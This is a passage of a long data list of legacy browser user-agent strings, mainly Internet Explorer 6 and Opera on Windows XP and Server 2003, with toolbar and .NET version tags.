1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Hotbar 4.1.7.0; .NET CLR 1.0.3705; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.4; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.5; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.5; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.2.6; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; SV1; YPC 3.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.0; YPC 3.0.1; SV1; .NET CLR 1.0.3705; HbTools 4.7.0; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; FunWebProducts; .NET CLR 1.0.3705; Hotbar 4.6.1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; SV1; .NET CLR 1.1.4322; HbTools 4.8.2; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.2; SV1; FunWebProducts; yplus 4.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.0.3; SV1; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.1.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.1.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.1.0; SV1; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; yplus 4.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; (R1 1.5; yplus 4.1.00b); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.0.3705; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; SV1; yplus 5.3.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 5.3.01b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YPC 3.2.0; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.20 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.64 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 10.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 7.60 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.20 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.21 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-ES) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Opera 9.23 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-es) Opera 9.25 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fi) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; heritrix/1.3.0 http://www.cs.washington.edu/research/networking/websys/) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; hu) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.0.3705; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; InfoPath.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; i-NavFourF; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; MyIE2; SV1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iOpus-I-M; SV1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; image_azv; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ja) Opera 9.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; msn OptimizedIE8;ZHCN; SV1; QQDownload 661; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; nb) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; nb) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pt) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pt-BR) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.25 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.926; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; stumbleupon.com 1.927; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; yplus 5.6.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 9.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.1399) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Avant Browser; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; FunWebProducts; SV1; .NET CLR 1.1.4322; Alexa Toolbar; InfoPath.1; .NET CLR 2.0.50727; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; GTB6.6; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MathPlayer 2.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.40607; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; ) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com]) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Avalon 6.0.5070; WinFX RunTime 3.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; QQDownload 1.7; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; QQDownload 627; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; iCafeMedia; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Trident/4.0; Media Center PC 3.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Trident/4.0; SV1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 